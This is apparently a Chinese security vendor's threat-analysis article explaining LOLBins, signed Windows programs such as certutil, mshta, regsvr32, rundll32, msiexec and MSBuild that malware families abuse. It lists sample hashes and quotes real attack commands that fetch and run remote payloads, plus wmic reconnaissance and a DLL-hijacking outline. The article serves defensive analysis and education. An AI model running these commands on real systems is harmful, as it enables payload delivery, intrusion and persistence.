• 本文作者: 天融信安全应急响应中心
  • |
  • 2019年9月27日
  • |
  • 未分类
  • |

LOLBins详解

一、前言

大家对于白利用的手法已经屡见不鲜了,这篇文章将对白利用的概念进行涵盖用一个全新的名字进行描述,那就是LOLBins,全称“Living-Off-the-Land Binaries”,直白翻译为“生活在陆地上的二进制“,这个概念最初在2013年DerbyCon黑客大会由Christopher Campbell和Matt Graeber进行创造,最终Philip Goh提出了LOLBins这个概念。随后进行广泛的互联网民意调查,并在达成普遍共识(69%)之后,该名称被正式指定。。

 

二、概述

1)      LOLBins社区LOGO。

2)      什么程序才能称之为LOLBins?

  • 可以是带有Microsoft签名的二进制文件,可以是Microsoft系统目录中二进制文件。
  • 可以是第三方认证签名程序。
  • 具有对APT或红队渗透方有用的功能
  • 该程序除过正常的功能外,可以做意料之外的行为。(如:执行恶意代码、绕过UAC)。

三、LOLBins常见的利用

1)      Microsoft系统自身利用

1.作为经典的利用之一cmd.exe,可以使用任意的cmd命令。最为常见的启动进程。

[举例]

样本家族:Sednit(APT28)使用的代号为Zebrocy家族木马。

样本描述:收集主机相关信息,发送至C&C服务器,同时接收远程恶意程序。

MD5:FCA0C829DA63CE9EA33548EEF9C23A43

场景:收集主机系统信息。

启动命令:cmd.exe /c SYSTEMINFO & TASKLIST

启动cmd进程,使用SYSTEMINFO & TASKLIST命令收集系统信息。

2.作为经典的利用之一PowerShell.exe,可以加载任意powershell命令。最为常见的启动加密的脚本。

[举例]

样本家族:Beapy。

样本描述:Beapy是一种新型的挖矿攻击程序,它使用电子邮件快速传播诱导用户点击

下载安装DoublePulsar,执行了一些PowerShell命令后就会下载挖矿模块以“无文件”

方式进行门罗币挖矿。。

MD5:CE91282246389298B56FFF594D9E6D03

场景:创建任务计划,运行powershell代码,下载挖矿程序。

启动命令:IEX (New-ObjectNet.WebClient).downloadstring(‘http://v.beahh.com/v’+$env:USERDOMAIN)

 

Powershell混淆代码,去混淆后如上代码。

3.作为经典的利用之一rundll32.exe,可以加载任意动态链接库(dll)的指定导出函数。最为常见的在后门启动阶段使用cmd命令,进行加载动态链接库dll。

[举例]

样本家族:Cozy Bear(APT29)使用的代号为Cobalt Strike Beacon的木马。

样本描述:该文件为LNK文件,指向powershell,最终加载后门木马。

MD5:6ED0020B0851FB71D5B0076F4EE95F3C

场景:加载后门木马。

启动命令:& ($(“rundll32.exe”)) $(“,”) $(“PointFunctionCall”)

通过powershell脚本启动rundll32,进而加载后门中的导出函数。

[举例]

样本家族:Cozy Bear(APT29)使用的代号为Cobalt Strike Beacon的木马。

样本描述:该文件为LNK文件,指向powershell,最终加载后门木马。

MD5:F713D5DF826C6051E65F995E57D6817D

场景:设置开机启动项,开机加载后门程序。

启动命令:rundll32.exe “hqwhbr.lck”, #2

4.wmic.exe,WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),执行“wmic”命令启动WMIC命令行环境。这个命令可以在XP或 .NET Server的标准命令行解释器(cmd.exe)、Telnet会话或“运行”对话框中执行。这些启动方法可以在本地使用,也可以通过.NET Server终端服务会话使用。

[举例]

样本家族:Sednit(APT28)使用的代号为Zebrocy家族木马。

样本描述:收集主机相关信息,发送至C&C服务器,同时进行接收远程木马程序。

MD5:2B16B0F552EA6973FCE06862C91EE8A9

场景:收集主机系统信息。

启动命令:

wmic logicaldisk get Caption, Description,VolumeSerialNumber,Size,FreeSpace

//本地所有磁盘盘符、描述、卷标序列号、总空间、剩余空间

&wmic diskdrive get Model, SerialNumber

//各个硬盘型号、序列号。

&wmic computersystem get Manufacturer, Model, Name, SystemTypec

//电脑制造商、型号、计算机名称、平台类型。

&wmic os get Caption, OSArchitecture, OSLanguage,SystemDrive,MUILanguages

//系统名称、系统架构、系统语言、系统盘符、交互语言

&wmic process get Caption,ExecutablePath

//当前运行进程标题、路径。

程序由C#进行编写,调用wmic命令,获取主机信息。

5.Mshta.exe,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用。

[举例]

样本家族:未知。

样本描述:通过点击flash程序触发编号为CVE-2018-15982漏洞,进而使用mshta执

行远程hta程序。

MD5:AABDCE4E0EABC472AC70BFDE14777C39

场景:执行远程hta程序。。

启动命令:

C:\WINDOWS\system32\mshta.exe http://47.75.114.250/resources/project/1/e0eajvtw/be473cc3342b51cd4918f67f5dfc1e66/load.hta

6.Cscript.exe,Windows Script Host引擎,用于加载wsf,.vbs,.js等脚本。

[举例]

样本家族:DarkHydrus。

样本描述:程序使用C#编写无混淆。通讯使用dns隧道技术,是一款典型的远控程序。

MD5:B108412F1CDC0602D82D3E6B318DC634

场景:添加开机启动项,启动脚本。。

启动命令:cscript.exe “C:\Users\Public\Documents\ OfficeUpdateService.vbs”

7.regsvr32.exe,用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令。

[举例]

样本家族:暗云4。

样本描述:该样本伪装WPS程序,程序加有VMP壳,样本收集目标主机信息、抓取用户

登录凭证生成文件后上传至FTP服务器。

MD5:BC7FC83CE9762EB97DC28ED1B79A0A10

场景:加载远程sct脚本。

启动命令:regsvr32 /u /s /i:http://js.0603bye.info:280/v.sct scrobj.dll

8.Certutil.exe,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。程序有一特性是能够从远程URL下载证书或任何其他文件。

[举例]

样本家族:驱动人生永恒之蓝。

样本描述:驱动人生永恒之蓝下载器木马,利用永恒之蓝漏洞扩散传播的挖矿木马。

MD5:BC26FD7A0B7FE005E116F5FF2227EA4D

场景:成功入侵后,进行感染。

启动命令:certutil -urlcache -split -f http://dl.haqo.net/dll.exe c:/installs.exe

9.msiexec.exe,系统进程,是Windows Installer的一部分。用于安装Windows Installer安装包(MSI)。

[举例]

样本家族:TA505

样本描述:黑客团伙TA505对某金融机构进行的一场精心策划的攻击事件,它是一起具

有强针对性的网络钓鱼。恶意软件的持久性可根据环境选择是否创建,攻击利用称为

ServHelper的复杂后门。

MD5:2D3238185537429EA693A81A1C6CA4C0

场景:连接到远程C2服务器并下载第一阶段payload。

启动命令:msiexec.exe RETURN=800 /i http://79.141.171.160/alg /q ksw=’%TMP%’

从ProcessHacker中可以看到程序的启动参数。

10.Installutil.exe,安装程序工具是一个命令行实用工具,你可以通过此工具执行指定程序集中的安装程序组件,从而安装和卸载服务器资源。程序将会寻找卸载程序中的InstallUtil()函数,进行调用。

[举例]

样本家族:海莲花。

样本描述:使用白加黑手法,在内存中加载后门程序。

MD5:D801C315332DC8AEF0387E7A323B77D4

场景:加载后门程序。

启动命令:Installutil.exe /logfile= /U “InstallerAndroid.amv”

/f=”MapsLogsCoreWindowsProgram.flv” /k=”FrameWorkSupport”

[安装程序参数] /U为解密ps代码的程序,[加载器参数] /f为核心加密的ps代码,

/k为解密的key。

 

后门程序的函数InstallUtil

 

后门程序中判断参数的流程。

11.MSBuild.exe,生成项目或解决方案文件。程序运行将会寻找该项目文件中指定的TaskName名称中对应的程序的Execute()函数,进行调用。

[举例]

样本家族:海莲花。

样本描述:使用白加黑手法,在内存中加载后门程序。

MD5:F629F41E8BE344137B50119F143762AD

场景:加载后门程序。

启动命令:MSBuild.exe Document.csproj

/p:AssemblyFile=”TeamNotepadBackupWindowsConfig.mpeg”

/p:ScriptFile=”NetworkSupport.mpeg”

/p:Key=”SupportMapsDatabasesNotificationsDatabases”

[程序参数] csproj项目文件名称,[csproj参数] 根据项目文件中参数进行传递。

 

Csproj项目文件,包含项目名称、参数信息。

 

加载器中的Execute函数。

12.write.exe, 系统写字板程序,程序加载需调用PROPSYS.dll中的PSCreateMemoryPropertyStore()函数,同时也加载config配置文件。

[举例]

样本家族:“响尾蛇(SideWinder)”APT组织(T-APT-04)

样本描述:木马文件利用白利用技术,经过多次内存装载执行,达到窃取信息的目的。

窃密模块通过遍历收集的目标文件目录,然后把文件数据以及标签项封装成json的压

缩格式上传到C&C服务器。

MD5:58DE7C0DF5BD677E1A3CDC099019015D

场景:解密后门程序,并加载。

 

PROPSYS.dll中的PSCreateMemoryPropertyStore函数。

 

PSCreateMemoryPropertyStore中的Load函数解密Ugvclo.tmp并进行加载。

 

config配置文件为兼容性配置。

13.rekeywiz.exe, 加密文件系统证书管理向导程序,程序加载需调用mpr.dll。

[举例]

样本家族:海莲花(OceanLotus)。

样本描述:本次攻击行为使用了典型的白加黑利用技术,通过带有效签名的可执行exe

文件运行后自动加载木马文件。

MD5:2E297A31E3FFFE37875EFAF5CD0135DD

场景:释放下一阶段程序。

RekeywizI程序依赖MPR.dll,将会调用以上两组函数。

 

2)      第三方认证签名文件利用

  1. WeChat.exe,微信主程序,需调用WeChatWin.dll运行。

[举例]

样本家族:海莲花(OceanLotus)。

样本描述:本次攻击行为使用了典型的白加黑利用技术,通过带有效签名的可执行exe

文件运行后自动加载木马文件。

MD5:2E297A31E3FFFE37875EFAF5CD0135DD

场景:下载木马程序。

主程序调用WeChatWin.dll中的StratWachat函数。

四、小结

以上利用列举了各类家族中使用的案例,在整个LOLBins中只是一小部分。

从以上案例可以得出,想使用白利用只需要分析白程序调用哪些动态链接库中的函数,进而伪造这个动态链接库即可,也可以称之为DLL劫持。

下面将列举常见的LOLBins。

文件名称 功能 类型
Certutil.exe 用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。 EXE
Cmd.exe 微软Windows系统的命令行程序。 EXE
Cscript.exe 可以用来从命令行运行脚本。 EXE
Expand.exe 展开一个或多个压缩文件。 EXE
Installutil.exe 安装程序工具是一个命令行实用工具,你可以通过此工具执行指定程序集中的安装程序组件,从而安装和卸载服务器资源。 EXE
Msbuild.exe Microsoft Build Engine是一个用于构建应用程序的平台 EXE
Mshta.exe 微软超文本标记语言应用程序。 EXE
Reg.exe 是微软注册表控制台工具的一个进程。 EXE
Regedit.exe 可用于修改Windows系统的注册表中的项,值以及数据。 EXE
Regsvr32.exe 用于注册Windows操作系统的动态链接库和ActiveX控件。 EXE
Rundll32.exe 执行DLL文件中的内部函数。 EXE
Sc.exe 查看服务状态管理服务。 EXE
Schtasks.exe 安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。 EXE
Wmic.exe Windows管理工具,提供了从命令行接口和批命令脚本执行系统管理的支持。 EXE
Wscript.exe 微软Microsoft Windows操作系统脚本相关支持程序。 EXE
Netsh.exe 可以用来在命令提示符处配置并监视基于 Windows 的计算机的工具。 EXE
Powershell.exe 一个基于.Net的shell和脚本语言的命令行程序。 EXE

参考链接

https://lolbas-project.github.io

https://github.com/api0cradle/LOLBAS

https://github.com/api0cradle/LOLBAS/blob/master/LOLBins.md

Written by 天融信安全应急响应中心